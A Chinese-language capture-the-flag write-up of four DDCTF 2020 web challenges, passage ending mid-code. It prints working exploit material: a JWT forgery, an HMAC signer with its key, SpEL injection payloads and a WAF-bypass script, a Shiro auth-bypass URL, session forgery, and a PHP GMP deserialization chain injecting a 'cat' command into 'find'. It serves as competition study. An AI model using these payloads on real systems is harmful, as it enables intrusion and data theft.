主頁 > 後端開發 > DDCTF 2020 Web WP

DDCTF 2020 Web WP

2020-09-10 08:07:52 後端開發

Go實乃知識盲區

這是一篇復現記錄,部分思路參考了如下鏈接,贊美師傅wywwtwx

參考:DDCTF 2020 Writeup - 安全客,安全資訊平臺



Web簽到題

在這里插入圖片描述

前面的相信大家都懂,是JWT爆破,但還是梳理一下


根據提示在用POST傳參可以拿到JWT


在這里插入圖片描述


在拿去爆破后可得到Secret值(似乎是你的用戶名,然后群里有師傅用戶名亂輸然后沒爆破出來,,)

爆破工具是c-jwt-cracker(需要的自取)

爆破拿到key后去網站https://jwt.io 篡改JWT,而后再次提交

在這里插入圖片描述


就可以拿到client,自此第一關結束,


第二關是需要在client中構造合法的sign值
在這里插入圖片描述

這里可以逆向演算法后寫腳本,也可以patch,我選的是第一個路子,這塊做完后就徹底卡住了


參考:
https://www.anquanke.com/post/id/170332
https://www.anquanke.com/post/id/85694
https://www.jianshu.com/p/7d006f2b4414


關于演算法的逆向:


七分逆向三分猜,作為一個Web分類下的題,出題人必然不會在Re上卡我們,剛好我同時算半個Re選手,順便記錄一下當時的心路歷程,


當時還不太知道有IDA的Golang插件,不過也是搞了出來,現在順便加上,看起來也舒服些

https://github.com/sibears/IDAGolangHelper



首先找到我們的關鍵getSign函式(沒有插件可以用老方法String)

__int64 __fastcall main_getSign(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int128 a7, __int64 a8)
{
  __int64 v8; // rcx
  __int64 v9; // rdx
  __int64 v10; // r8
  __int64 v11; // rax
  __int64 v12; // rcx
  __int64 v13; // rbx
  __int64 v14; // rdx
  __int64 v15; // r8
  __int64 v16; // r9
  __int64 v17; // rax
  __int64 v18; // rcx
  __int64 v19; // rbx
  __int64 v20; // rdx
  __int64 v21; // r8
  __int64 v22; // r9
  __int64 v23; // rdx
  __int64 v24; // r8
  __int64 v25; // r9
  __int64 v26; // rdx
  __int64 v27; // r8
  __int64 v28; // r9
  __int64 v29; // rdx
  __int64 v30; // rdx
  __int64 v31; // rcx
  __int64 v32; // r8
  __int64 v33; // r9
  __int64 v34; // rdx
  __int64 v35; // r8
  __int64 v36; // rdx
  __int64 v37; // r8
  __int64 v38; // rax
  __int64 v39; // rcx
  __int64 v40; // rbx
  __int64 v41; // rdx
  __int64 v42; // r8
  __int64 v43; // rax
  __int64 v44; // rcx
  __int64 v45; // rbx
  __int64 v46; // rdx
  __int64 v47; // r8
  __int64 v48; // r9
  __int64 v49; // rax
  __int64 v50; // rcx
  __int64 v51; // rbx
  __int64 (__fastcall **v53)(__int64, __int64); // [rsp+0h] [rbp-148h]
  __int128 v54; // [rsp+8h] [rbp-140h]
  __m256i v55; // [rsp+18h] [rbp-130h]
  __int64 v56; // [rsp+38h] [rbp-110h]
  __int128 v57; // [rsp+40h] [rbp-108h]
  const char *v58; // [rsp+50h] [rbp-F8h]
  __int64 v59; // [rsp+58h] [rbp-F0h]
  __int128 v60; // [rsp+60h] [rbp-E8h]
  __int64 v61; // [rsp+70h] [rbp-D8h]
  __int64 v62; // [rsp+78h] [rbp-D0h]
  __int128 v63; // [rsp+80h] [rbp-C8h]
  __int128 v64; // [rsp+90h] [rbp-B8h]
  __int128 v65; // [rsp+A0h] [rbp-A8h]
  __int128 v66; // [rsp+B0h] [rbp-98h]
  __int64 v67; // [rsp+C0h] [rbp-88h]
  __int64 *v68; // [rsp+C8h] [rbp-80h]
  __int128 v69; // [rsp+D0h] [rbp-78h]
  __int128 v70; // [rsp+E0h] [rbp-68h]
  __int64 v71; // [rsp+F0h] [rbp-58h]
  __int64 v72; // [rsp+F8h] [rbp-50h]
  __int64 v73; // [rsp+100h] [rbp-48h]
  __int64 v74; // [rsp+108h] [rbp-40h]
  __int64 v75; // [rsp+110h] [rbp-38h]
  __int64 v76; // [rsp+118h] [rbp-30h]
  __int64 v77; // [rsp+120h] [rbp-28h]
  __int64 v78; // [rsp+128h] [rbp-20h]
  __int64 v79; // [rsp+130h] [rbp-18h]
  __int64 v80; // [rsp+138h] [rbp-10h]
  __int64 v81; // [rsp+140h] [rbp-8h]

  while ( 1 )
  {
    v8 = __readfsqword(0xFFFFFFF8);
    if ( (unsigned __int64)&v63 > *(_QWORD *)(v8 + 16) )
      break;
    runtime_morestack_noctxt(a1, a2);
  }
  v65 = a7;
  v56 = a8;
  v72 = 0LL;
  v73 = 0LL;
  v74 = 0LL;
  v75 = 0LL;
  if ( &v53 == (__int64 (__fastcall ***)(__int64, __int64))-248LL )
    LODWORD(v72) = (unsigned __int64)&v63;
  *(_QWORD *)&v69 = 2LL;
  *((_QWORD *)&v69 + 1) = 2LL;
  v68 = &v72;
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
  v54 = (unsigned __int64)&v65;
  runtime_convT2E(a1, a2, a3, v8, a5);
  v11 = v55.m256i_i64[1];
  v12 = v55.m256i_i64[0];
  v13 = (__int64)v68;
  v61 = v55.m256i_i64[0];
  *v68 = v55.m256i_i64[0];
  v62 = v11;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v13 + 8);
    *(_QWORD *)&v54 = v11;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v13 + 8) = v11;
  }
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_69EDC0;
  v54 = (unsigned __int64)&v56;
  runtime_convT2E(a1, a2, v9, v12, v10);
  v17 = v55.m256i_i64[1];
  v18 = v55.m256i_i64[0];
  v19 = (__int64)(v68 + 2);
  v61 = v55.m256i_i64[0];
  v68[2] = v55.m256i_i64[0];
  v62 = v17;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v19 + 8);
    *(_QWORD *)&v54 = v17;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v19 + 8) = v17;
  }
  *(_QWORD *)&v54 = 5LL;
  *((_QWORD *)&v54 + 1) = v68;
  *(_OWORD *)v55.m256i_i8 = v69;
  fmt_Sprintf(a1, a2, v14, v18, v15, v16, (__int64)"%s|%d");
  v53 = 0LL;
  v64 = *(_OWORD *)&v55.m256i_u64[2];
  v54 = *(_OWORD *)&v55.m256i_u64[2];
  runtime_stringtoslicebyte(a1, a2, v20, v55.m256i_i64[2], v21, v22);
  v66 = *(_OWORD *)v55.m256i_i8;
  v67 = v55.m256i_i64[2];
  v53 = 0LL;
  v58 = "DDCTFWithYou";
  *(_QWORD *)&v54 = "DDCTFWithYou";
  v59 = 12LL;
  *((_QWORD *)&v54 + 1) = 12LL;
  runtime_stringtoslicebyte(a1, a2, v23, (__int64)"DDCTFWithYou", v24, v25);
  v26 = v55.m256i_i64[0];
  v53 = off_827EE0;
  v70 = *(_OWORD *)v55.m256i_i8;
  v54 = *(_OWORD *)v55.m256i_i8;
  v71 = v55.m256i_i64[2];
  v55.m256i_i64[0] = v55.m256i_i64[2];
  crypto_hmac_New(a1, a2, v26, v55.m256i_i64[1], v27, v28);
  v54 = v66;
  v55.m256i_i64[0] = v67;
  v53 = (__int64 (__fastcall **)(__int64, __int64))v55.m256i_i64[2];
  v60 = *(_OWORD *)&v55.m256i_u64[1];
  (*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v55.m256i_i64[1] + 64))(a1, a2, v29, v55.m256i_i64[1]);
  v54 = 0uLL;
  v55.m256i_i64[0] = 0LL;
  v53 = (__int64 (__fastcall **)(__int64, __int64))*((_QWORD *)&v60 + 1);
  (*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v60 + 56))(a1, a2, v30, v31);
  v53 = (__int64 (__fastcall **)(__int64, __int64))qword_946330;
  v70 = *(_OWORD *)&v55.m256i_u64[1];
  v54 = *(_OWORD *)&v55.m256i_u64[1];
  v71 = v55.m256i_i64[3];
  v55.m256i_i64[0] = v55.m256i_i64[3];
  encoding_base64__ptr_Encoding_EncodeToString(a1, a2, v55.m256i_i64[1], v55.m256i_i64[2], v32, v33);
  v57 = *(_OWORD *)&v55.m256i_u64[1];
  v65 = *(_OWORD *)&v55.m256i_u64[1];
  v63 = a7;
  v56 = a8;
  v76 = 0LL;
  v77 = 0LL;
  v78 = 0LL;
  v79 = 0LL;
  v80 = 0LL;
  v81 = 0LL;
  if ( &v53 == (__int64 (__fastcall ***)(__int64, __int64))-280LL )
    LODWORD(v76) = v55.m256i_i32[4];
  *(_QWORD *)&v69 = 3LL;
  *((_QWORD *)&v69 + 1) = 3LL;
  v68 = &v76;
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
  v54 = (unsigned __int64)&v65;
  runtime_convT2E(a1, a2, v34, v55.m256i_i64[1], v35);
  v38 = v55.m256i_i64[1];
  v39 = v55.m256i_i64[0];
  v40 = (__int64)v68;
  v61 = v55.m256i_i64[0];
  *v68 = v55.m256i_i64[0];
  v62 = v38;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v40 + 8);
    *(_QWORD *)&v54 = v38;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v40 + 8) = v38;
  }
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
  v54 = (unsigned __int64)&v63;
  runtime_convT2E(a1, a2, v36, v39, v37);
  v43 = v55.m256i_i64[1];
  v44 = v55.m256i_i64[0];
  v45 = (__int64)(v68 + 2);
  v61 = v55.m256i_i64[0];
  v68[2] = v55.m256i_i64[0];
  v62 = v43;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v45 + 8);
    *(_QWORD *)&v54 = v43;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v45 + 8) = v43;
  }
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_69EDC0;
  v54 = (unsigned __int64)&v56;
  runtime_convT2E(a1, a2, v41, v44, v42);
  v49 = v55.m256i_i64[1];
  v50 = v55.m256i_i64[0];
  v51 = (__int64)(v68 + 4);
  v61 = v55.m256i_i64[0];
  v68[4] = v55.m256i_i64[0];
  v62 = v49;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v51 + 8);
    *(_QWORD *)&v54 = v49;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v51 + 8) = v49;
  }
  *(_QWORD *)&v54 = 41LL;
  *((_QWORD *)&v54 + 1) = v68;
  *(_OWORD *)v55.m256i_i8 = v69;
  return log_Printf(a1, a2, v46, v50, v47, v48, (__int64)"[+]get sign:%s, command:%s, time_stamp:%d");
}

可以看到有一個很顯眼的DDCTFWithYou,還有就是這個

crypto_hmac_New(a1, a2, v26, v55.m256i_i64[1], v27, v28);

crypto_hmac_New這個一出來應該很多人都明白是啥了,先初步猜測這是我們的HmacSHA256(奇怪的是FindCrypt沒識別出來),而這個DDCTFWithYou十有八九就是我們的秘鑰


剛好題目還給了我們簽名的格式,我們試驗一下
得到的sign值為jI6DSECGAyzSs5t5wljIxgp8aBN4SmgzagxSvsv/y3w=,這是經過base64encode的,我們將其解碼:
在這里插入圖片描述


然后明文加密后(記得引號):


在這里插入圖片描述


一樣的,至此我們的作業結束,貼原WP的腳本:

package main

import (
    "bytes"
    "io/ioutil"
    "net/http"

    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "time"

    "github.com/gin-gonic/gin"
)

type Param struct {
    Command   string `json:"command"`
    Signature string `json:"signature"`
    Timestamp int64  `json:"timestamp"`
}

func main() {
    r := gin.Default()

    r.POST("/", func(c *gin.Context) {
        command := c.DefaultPostForm("command", "DDCTF")
        key := "DDCTFWithYou"

        timestamp := time.Now().Unix()
        plain := fmt.Sprintf("%s|%d", command, timestamp)
        mac := hmac.New(sha256.New, []byte(key))
        mac.Write([]byte(plain))

        param := new(Param)
        param.Command = command
        param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
        param.Timestamp = timestamp
        js, _ := json.Marshal(param)

        url := "http://117.51.136.197/server/command"
        resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
        if err != nil {
            panic(err)
        }
        defer resp.Body.Close()
        body, _ := ioutil.ReadAll(resp.Body)
        c.String(http.StatusOK, string(body))
    })

    r.Run(":2333")
}

至此,第二關完成, 接下來是最后一關,

最后一關是需要尋找可用payload,是spel注入,也算是SSTI的一種,

參考:
https://www.cnblogs.com/poing/p/12837175.html
https://www.mi1k7ea.com/2020/01/10/SpEL運算式注入漏洞總結/

原WP師傅的腳本是另外起了一個埠用來測驗命令,我那個找不到的腳本command是直接嵌到代碼里了,這個好像更方便一些


貼原WP的Payload,當時好像測過這個payload但好像失敗了,,不知道咋回事,然后就卡在這一步了


new java.util.Scanner(new java.io.File(’/home/dc2-user/flag/flag.txt’)).next()
圖片來自原WP
于是可以直接讀flag(xmsl)




卡片商店

這題比賽結束后5分鐘做出來了,,好氣啊


在這里插入圖片描述

這題一開始以為是條件競爭漏洞,然后寫了腳本測了半天,無果,

然后測驗發現有整數溢位漏洞(這個也算是購物相關的網站中比較常出現的一個漏洞了,可惜當時一根筋測條件競爭去了,要不還能快點給后面留時間)


在這里插入圖片描述

執行結果:


在這里插入圖片描述


再換掉賬面上借的卡片后可以買禮物(這里注意整個程序手速要快,有時間限制)
在這里插入圖片描述


這個seckey一般就是secretkey,好不好這題剛好有個session:
在這里插入圖片描述


于是我們可以考慮這個seckey就是用來生成session的,


回過頭來,直接訪問flag,我們會得到資訊
在這里插入圖片描述


合理推測我們需要偽造session來通過驗證拿flag
之前由于出現過Go了,我們考慮gin-session(沒get到杜松子酒是gin,跑偏整到Flask那邊去了)
參考:https://www.tizi365.com/archives/288.html


現在問題是我們需要偽造哪個欄位呢?gin的session我做題時沒找到太好的還原方法(原WP最后師傅貼了還原的方法),只能base64解密看看了,一番嘗試后得到:
在這里插入圖片描述

這個方法肯定是有問題的,但也能看出一些資訊,這個session的方式應該是 timestamp|Go的encode資料|校驗(也可能是簽名啥的) 這樣的方式,我們也可以看到一個bool型別的admin欄位,我們的目標就是它,


貼過來代碼:

package main

import (
        // 匯入session包
	"github.com/gin-contrib/sessions"
       // 匯入session存盤引擎
	"github.com/gin-contrib/sessions/cookie"
        // 匯入gin框架包
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
        // 創建基于cookie的存盤引擎,secret11111 引數是用于加密的密鑰,這里填入我們的seckey
	store := cookie.NewStore([]byte("secret11111"))
        // 設定session中間件,引數mysession,指的是session的名字,也是cookie的名字
       // store是前面創建的存盤引擎,我們可以替換成其他存盤引擎
	r.Use(sessions.Sessions("mysession", store))

	r.GET("/hello", func(c *gin.Context) {
                // 初始化session物件
		session := sessions.Default(c)
                
                // 通過session.Get讀取session值
                // session是鍵值對格式資料,因此需要通過key查詢資料
		if session.Get("hello") != "world" {
                        // 設定session資料
			session.Set("hello", "world")
                        // 洗掉session資料
                        //session.Delete("tizi365")
                        // 保存session資料
			session.Save()
                        // 洗掉整個session
                        // session.Clear()
		}
                
		c.JSON(200, gin.H{"hello": session.Get("hello")})
	})
	r.Run(":8000")
}

稍作改動即可


if session.Get("hello") != "world" {
                        // 設定session資料
			session.Set("hello", "world")
                        // 洗掉session資料
                        //session.Delete("tizi365")
                        // 保存session資料
			session.Save()
                        // 洗掉整個session
                        // session.Clear()
		}

改成

if session.Get("admin") != true {
            session.Set("admin", true)
            session.Save()
        }

即可(記得放你得到的簽名)

這里是測驗過后發現這樣就行的,原本還在后面那塊和timestamp那糾結了好久,,后來發現并不需要

拿到session

在這里插入圖片描述


替換后拿flag


在這里插入圖片描述



Easy Web

在這里插入圖片描述


這題并不知道有這個:CVE-2020-11989
這個CVE前幾天還看過,差點沒反應過來,,
參考:https://xz.aliyun.com/t/7964


但訪問

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/index.php

就行(但后面還是要用這個CVE繞進admin界面)

進入界面,這個莫名其妙的圖片實在是太顯眼了,本能地察覺有問題
在這里插入圖片描述


SSRF,然后用fuzzDict中的字典跑了一下,可以讀到WEB-INF/web.xml:


http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/web.xml


<!DOCTYPE web-app PUBLIC
        "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
        "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
         version="3.0" metadata-complete="false">

  <display-name>Archetype Created Web Application</display-name>

  <context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>
      classpath:spring-core.xml
    </param-value>
  </context-param>

  <listener>
    <listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
  </listener>

  <listener>
    <listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class>
  </listener>

  <listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
  </listener>

  <servlet>
    <servlet-name>springmvc</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:spring-web.xml</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>springmvc</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>encodingFilter</filter-name>
    <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    <init-param>
      <param-name>encoding</param-name>
      <param-value>UTF-8</param-value>
    </init-param>
    <init-param>
      <param-name>forceEncoding</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>

  <filter-mapping>
    <filter-name>encodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <filter>
    <filter-name>safeFilter</filter-name>
    <filter-class>com.ctf.util.SafeFilter</filter-class>
  </filter>

  <filter-mapping>
    <filter-name>safeFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
      <param-name>targetFilterLifecycle</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>

  <filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <error-page>
    <error-code>500</error-code>
    <location>/error.jsp</location>
  </error-page>

  <error-page>
    <error-code>404</error-code>
    <location>/hacker.jsp</location>
  </error-page>

  <error-page>
    <error-code>403</error-code>
    <location>/hacker.jsp</location>
  </error-page>

</web-app>

經典的Spring框架,知道這個對其實我們其實可以直接把大部分代碼讀出來了,
Spring是一個MVC框架,故讀出來的檔案中我們需要重點關注的是Controller控制層的代碼
根據目前的情況,我們需要尋找能夠幫助我們成為admin的資訊


一番翻找后,在 /WEB-INF/classes/spring-shiro.xml 中有:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">

        <property name="securityManager" ref="securityManager"/>

        <property name="loginUrl" value="/login"/>

        <property name="successUrl" value="/index"/>

        <property name="unauthorizedUrl" value="/unauthorized"/>

        <property name="filterChainDefinitionMap" ref="filterChainDefinitionMap"/>
    </bean>

    <bean id="filterChainDefinitionMap" factory-bean="filterChainDefinitionMapBuilder" factory-method="buildFilterChainDefinitionMap"/>

    <bean id="filterChainDefinitionMapBuilder" class="com.ctf.auth.FilterChainDefinitionMapBuilder"/>


    <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
        <property name="realm" ref="myRealm"/>
    </bean>


    <bean id="myRealm" class="com.ctf.auth.ShiroRealm">

    </bean>

</beans>

其下的 /WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class 中可以看到

package com.ctf.auth;

import java.util.*;

public class FilterChainDefinitionMapBuilder
{
    public LinkedHashMap<String, String> buildFilterChainDefinitionMap() {
        final LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
        map.put("/logout", "logout");
        map.put("/index", "authc");
        map.put("/download", "authc");
        map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");
        return map;
    }
}

于是使用CVE繞過

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index

進入admin界面
在這里插入圖片描述


后面就是繞WAF做SpE注入L,WAF在 WEB-INF/classes/com/ctf/util/SafeFilter.class 中

package com.ctf.util;

import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class SafeFilter implements Filter {
    private static final String[] blacklists = {"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
    private final String encoding = "UTF-8";

    public void init(FilterConfig arg0) throws ServletException {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
            throws IOException, ServletException {
        request.setCharacterEncoding("UTF-8");
        response.setCharacterEncoding("UTF-8");
        Enumeration pNames = request.getParameterNames();
        while (pNames.hasMoreElements()) {
            String name = (String) pNames.nextElement();
            String value = request.getParameter(name);
            for (String blacklist : blacklists) {
                Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
                if (matcher.find()) {
                    HttpServletResponse servletResponse = (HttpServletResponse) response;
                    servletResponse.sendError(403);
                }
            }
        }
        filterChain.doFilter(request, response);
    }

    public void destroy() {
    }
}

后面沒繞出來,貼一下原WP的exp:

import re

import requests
from flask import Flask, request

app = Flask(__name__)


def requestToServer(content):
    content = '[[${{{}}}]]'.format(content)
    url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize'
    response = requests.post(url=url, data={'content': content}).text
    try:
        redirect = re.search('fetch \./(.*) !', response).group(1)
        url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/'
        url += redirect
        return requests.get(url).text
    except Exception as e:
        return str(e) + response


def toForNameOrStr(source, strFlag=False):
    res = 'T(Character).toString(%s)' % ord(source[0])
    for ch in source[1:]:
        res += '.concat(T(Character).toString(%s))' % ord(ch)
    if strFlag:
        return res
    return '0.class. forName({})'.format(res)


@app.route('/', methods=['GET', 'POST'])
def handler():
    content = request.form.get('content')
    dir = request.form.get('dir')
    file = request.form.get('file')

    if dir:
        # 單層:java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray());
        # 遞回:java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray());
        listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())'.format(
            toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, True))
        print(listDirPayload)
        return requestToServer(listDirPayload)

    if file:
        # java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString()
        catFilePaylod = '{}.lines({}.get({})).findFirst().toString()'.format(
            toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, True))
        print(catFilePaylod)
        return requestToServer(catFilePaylod)

    return requestToServer(content)


if __name__ == '__main__':
    app.run(debug=True)

看了看還有另外的思路是使用UrlClassLoader的

見 https://blog.play2win.top/2020/09/07/DDCTF2020_WEB_writeup%20/



Overwrite Me

在這里插入圖片描述

直接給了原始碼

<?php
error_reporting(0);

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}

class Prompter
{
    protected  $hint;
    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class Repeater
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$show = new Display();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
    highlight_file(__FILE__);
    die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
    $infos = new Info();
}else
{
    $obstacle = new stdClass;
    $mc = new MyClass();
    $mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
    @unserialize($bullet);
    echo $mc->get_flag();
}

轉了一圈沒啥思路,只能試著讀那個hint.php

<?php

class Prompter
{
    protected  $hint='/hint/hint.php';

    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class Repeater
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$chain1 = new Display();
$chain2 = new Repeater();
$chain3= new Prompter();

//$chain3->hint = "/hint/hint.php";
$chain2->content=$chain3;
$chain1->page = $chain2;


echo urlencode(serialize($chain1)) ;
//O%3A7%3A%22Display%22%3A2%3A%7Bs%3A8%3A%22contents%22%3Bs%3A14%3A%22%2Fhint%2Fhint.php%22%3Bs%3A4%3A%22page%22%3BO%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A14%3A%22%00Repeater%00cont%22%3BN%3Bs%3A7%3A%22content%22%3BO%3A8%3A%22Prompter%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00hint%22%3Bs%3A10%3A%22.%2Ftest.php%22%3B%7D%7D%7D

然后bullet傳進去后顯示有個 /FlagNeverFall/suffix_flag.php,然而最后利用的是一個include函式,就算include了沒有highlight_file(__FILE__)等我們依然沒有辦法拿到內容,



后面雖然注意到了$kw0ng這個值有些奇怪,以及看起來似乎有用但不知道有啥用的phpinfo ,但依然沒有搜索到有價值的資訊,無奈看WP


然后發現 http://117.51.137.166/hint/hint.php 能直接訪問,,,一時語塞 個人感覺是題目出糊了,應該是反序列化讀 hint/hint.php 來讀 flag 的前半部分的(也有可能是干擾項,如果真是這樣只能怪自己腦洞太小:) )


寫到這里時環境關了,,資訊只能從WP拿了

hint.php:
Good Job! You’ve got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i’ll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!

GMP利用相關的參考:
https://xz.aliyun.com/t/6781
https://bugs.php.net/bug.php?id=70513
https://paper.seebug.org/1267/
https://hackerone.com/reports/198734


大致的利用思路就是如果我們有一個可控的反序列化入口,目標后端PHP安裝了GMP插件,如果我們找到一個可控的__wakeup魔術方法,我們就可以修改反序列化前宣告的物件屬性,并配合場景產生實際的安全問題,

一個可行的exp如下:

<?php

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        var_dump($this->flag);
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}
class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

$show = new Display();
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}i:1;O:7:"MyClass":1:{s:5:"kw0ng";R:3;}}';
unserialize($exploit);
var_dump($mc);
echo $mc->get_flag();
echo urlencode($exploit);
echo "\n";
?>


這里WP的師傅說不用 GMP 也能打,這里沒太看懂啥意思,Mark一下

<?php

class MyClass {
    var $kw0ng;
    var $flag;
}

class HintClass {
